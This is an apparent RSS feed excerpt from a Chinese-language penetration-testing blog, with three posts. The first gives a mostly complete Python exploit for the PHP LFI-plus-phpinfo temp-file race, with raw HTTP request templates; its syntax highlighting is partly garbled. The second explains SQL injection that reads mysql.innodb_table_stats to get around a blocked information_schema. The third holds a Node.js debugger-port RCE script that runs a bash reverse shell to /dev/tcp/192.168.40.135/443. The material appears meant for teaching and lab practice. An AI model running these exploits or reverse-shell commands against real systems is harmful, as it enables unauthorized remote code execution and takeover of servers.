&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;Content-Length: {len}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;Host: %s&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;{upload}&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;format(phpinfo&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;PHPinfo_File,padding&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;padding, len&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;len(UPLOAD), upload&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;UPLOAD)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# LFI Path
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LFIREQ&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;GET &amp;#34;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; LFI_File &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&amp;#34;%s HTTP/1.1&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;User-Agent: Mozilla/4.0&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;Proxy-Connection: Keep-Alive&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;Host: %s&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;class&lt;/span&gt; &lt;span style="color:#50fa7b"&gt;PHPINFO_LFI&lt;/span&gt;()&lt;span style="color:#ff79c6"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; def __init__(self, host, port)&lt;span style="color:#ff79c6"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;host &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; host
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;port &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; int(port)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;req_payload&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; (INFOREQ &lt;span style="color:#ff79c6"&gt;%&lt;/span&gt; self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;host)&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;encode(&lt;span style="color:#f1fa8c"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;lfireq &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; LFIREQ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;offset &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;get_offfset()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; def get_offfset(self)&lt;span style="color:#ff79c6"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; 获取tmp名字的offset
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; s &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; socket&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;socket(socket&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;AF_INET, socket&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;SOCK_STREAM)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; s&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;connect((self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;host, self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;port))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; s&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;send(self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;req_payload)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; page &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; b&lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;while&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;True&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; i &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; s&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;recv(&lt;span style="color:#bd93f9"&gt;4096&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; page&lt;span style="color:#ff79c6"&gt;+=&lt;/span&gt;i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; i &lt;span style="color:#ff79c6"&gt;==&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; i&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;decode(&lt;span style="color:#f1fa8c"&gt;&amp;#39;utf8&amp;#39;&lt;/span&gt;)&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;endswith(&lt;span style="color:#f1fa8c"&gt;&amp;#34;0&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r\n\r\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;)&lt;span style="color:#ff79c6"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; s&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;close()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pos &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; page&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;decode(&lt;span style="color:#f1fa8c"&gt;&amp;#39;utf8&amp;#39;&lt;/span&gt;)&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;find(&lt;span style="color:#f1fa8c"&gt;&amp;#34;[tmp_name] =&amp;gt; &amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;print&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#39;get the offset :{} &amp;#39;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;format(pos))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; pos &lt;span style="color:#ff79c6"&gt;==&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; raise ValueError(&lt;span style="color:#f1fa8c"&gt;&amp;#34;No php tmp_name in phpinfo output&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;return&lt;/span&gt; pos&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;256&lt;/span&gt; &lt;span style="color:#6272a4"&gt;#多加一些字节
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; def phpinfo_lfi(self)&lt;span style="color:#ff79c6"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; 同时发送phpinfo请求与lfi请求
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; phpinfo &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; socket&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;socket(socket&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;AF_INET, socket&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;SOCK_STREAM)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lfi &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; socket&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;socket(socket&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;AF_INET, socket&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;SOCK_STREAM)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; phpinfo&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;connect((self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;host, self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;port))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lfi&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;connect((self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;host, self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;port))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; phpinfo&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;send(self&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;req_payload)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; infopage &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; b&lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;while&lt;/span&gt; len(infopage) &lt;span style="color:#f1fa8c"&gt;&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; tmpname = infopage[pos+17:pos+31]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; lfireq = self.lfireq % (tmpname.decode(&amp;#39;utf8&amp;#39;),self.host)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; lfi.send(lfireq.encode(&amp;#39;utf8&amp;#39;))
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; fipage = lfi.recv(4096)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; phpinfo.close()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; lfi.close()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; if fipage.decode(&amp;#39;utf8&amp;#39;).find(tag) != -1:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; return tmpname
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;if __name__ == &amp;#39;__main__&amp;#39;:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; print(&amp;#39;{x}Start expolit {host}:{port} {attempts} times{x}&amp;#39;.format(x=&amp;#39;*&amp;#39;*15, host=host, port=port, attempts=attempts))
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; p = PHPINFO_LFI(host,port)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; for i in range(int(attempts)):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; print(&amp;#39;Trying {}/{} times…&amp;#39;.format(i, attempts), end=&amp;#34;&lt;/span&gt;\r&lt;span style="color:#f1fa8c"&gt;&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; if p.phpinfo_lfi() is not None:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; print(&amp;#34;&lt;/span&gt;Success&lt;span style="color:#ff79c6"&gt;!!&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; exit()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; print(&amp;#39;:( Failed&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="session-upload-progress"&gt;Session Upload Progress&lt;/h2&gt;
&lt;h3 id="sessionupload_progress"&gt;session.upload_progress&lt;/h3&gt;
&lt;p&gt;Session Upload Progress 是目前我最愛用的方法，沒有之一。&lt;/p&gt;</description></item><item><title>SQL Injection Without Column Name and information_schema</title><link>http://blog.stevenyu.tw/2022/04/25/sql-injection-without-column-name-and-information_schema/</link><pubDate>Mon, 25 Apr 2022 21:42:56 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/04/25/sql-injection-without-column-name-and-information_schema/</guid><description>&lt;p&gt;前幾天遇到了一個類似 CTF 的 PT 情境，主要狀況是，我有辦法透過 Union Based 的方法進行 SQL Injection；我有辦法得知 Table name，卻無法得知 Column Name。&lt;/p&gt;
&lt;p&gt;先工商一下，如果缺乏測試 SQL 的環境，可以使用我的 Repo: &lt;a href="https://github.com/stevenyu113228/DB-Tester"&gt;DB-Tester&lt;/a&gt; ， 用 Docker-compose 的方式建立了一個 Web Server 與 SQL Server，目前有支援 MySQL、PostgreSQL、M$SQL、Oracle 等。&lt;/p&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;p&gt;通常 SQL Injection 的套路就是，透過 &lt;code&gt;information_schema&lt;/code&gt; 裡面的 &lt;code&gt;schemata&lt;/code&gt;, &lt;code&gt;tables&lt;/code&gt;, &lt;code&gt;columns&lt;/code&gt; 來取得資料庫名稱、表格名稱以及欄位名稱，但在這次的情境中，因為 WAF 的設定，我們無法摸到任何的 &lt;code&gt;information_schema&lt;/code&gt;，因此只能尋找相關的替代品。&lt;/p&gt;
&lt;h2 id="information_schema-的替代品"&gt;information_schema 的替代品&lt;/h2&gt;
&lt;p&gt;在 MySQL 版本 &amp;gt;= 5.5 之後，MySQL 預設的 Table Engine 為 innodb，其中，就有資料庫的名稱以及表格的名稱可以利用&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mysql&amp;gt; SELECT * FROM mysql.innodb_table_stats;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+---------------+------------+---------------------+--------+----------------------+--------------------------+
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+---------------+------------+---------------------+--------+----------------------+--------------------------+
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| mysql | component | 2022-04-25 12:57:27 | 0 | 1 | 0 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| sys | sys_config | 2022-04-25 12:57:29 | 6 | 1 | 0 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| test_db | accounts | 2022-04-25 12:58:06 | 2 | 1 | 0 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| test_db | news | 2022-04-25 12:58:29 | 0 | 1 | 0 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+---------------+------------+---------------------+--------+----------------------+--------------------------+
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;例如想要快速一鍵爆資料庫、資料表名稱，可以使用&lt;/p&gt;</description></item><item><title>NodeJS V8 Engine Debugger Exploit (Part2) - Auto Exploit</title><link>http://blog.stevenyu.tw/2022/04/10/nodejs-v8-engine-debugger-exploit-part2-auto-exploit/</link><pubDate>Sun, 10 Apr 2022 21:49:12 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/04/10/nodejs-v8-engine-debugger-exploit-part2-auto-exploit/</guid><description>&lt;p&gt;在上一篇文，&lt;a href="http://blog.stevenyu.tw/2022/04/05/nodejs-v8-engine-debugger-exploit/"&gt;(NodeJS V8 Engine Debugger Exploit)&lt;/a&gt; 中，我們使用了 VSCode 的 Debugger 與 Chrome 的 Debugger 把 Node JS 的 Debugger Port 給戳出 Shell。&lt;/p&gt;
&lt;p&gt;但上一篇貼文終究要使用到 GUI，用起來總是沒有很舒服，感謝 @uuuuuyurr 大大協助，找到了一個方便的酷酷工具，可以使用 CLI 、 程式完成這件事情。&lt;/p&gt;
&lt;p&gt;這次需要使用到的套件叫做 &lt;a href="https://github.com/cyrus-and/chrome-remote-interface"&gt;chrome-remote-interface&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;透過 &lt;code&gt;npm i chrome-remote-interface&lt;/code&gt; 即可進行安裝。&lt;/p&gt;
&lt;p&gt;接下來把官方的範例程式做一點點小小小修改，其他環境皆與上次的實驗環境相同，就可以 RCE 囉！&lt;/p&gt;
&lt;p&gt;Exploit 程式碼：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;const&lt;/span&gt; CDP &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; require(&lt;span style="color:#f1fa8c"&gt;&amp;#39;chrome-remote-interface&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;async&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;function&lt;/span&gt; example() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;let&lt;/span&gt; client;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#6272a4"&gt;// connect to endpoint
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; options &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;host&amp;#34;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;:&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;192.168.40.136&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;port&amp;#34;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;:&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;9229&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;await&lt;/span&gt; CDP(options);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; r &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;await&lt;/span&gt; client.Runtime.evaluate({expression&lt;span style="color:#ff79c6"&gt;:&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;`global.process.mainModule.constructor._load(&amp;#34;child_process&amp;#34;).exec(&amp;#34;bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.40.135/443 0&amp;gt;&amp;amp;1&amp;#39;&amp;#34;)`&lt;/span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log(r);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#ff79c6"&gt;catch&lt;/span&gt; (err) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.error(err);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#ff79c6"&gt;finally&lt;/span&gt; {
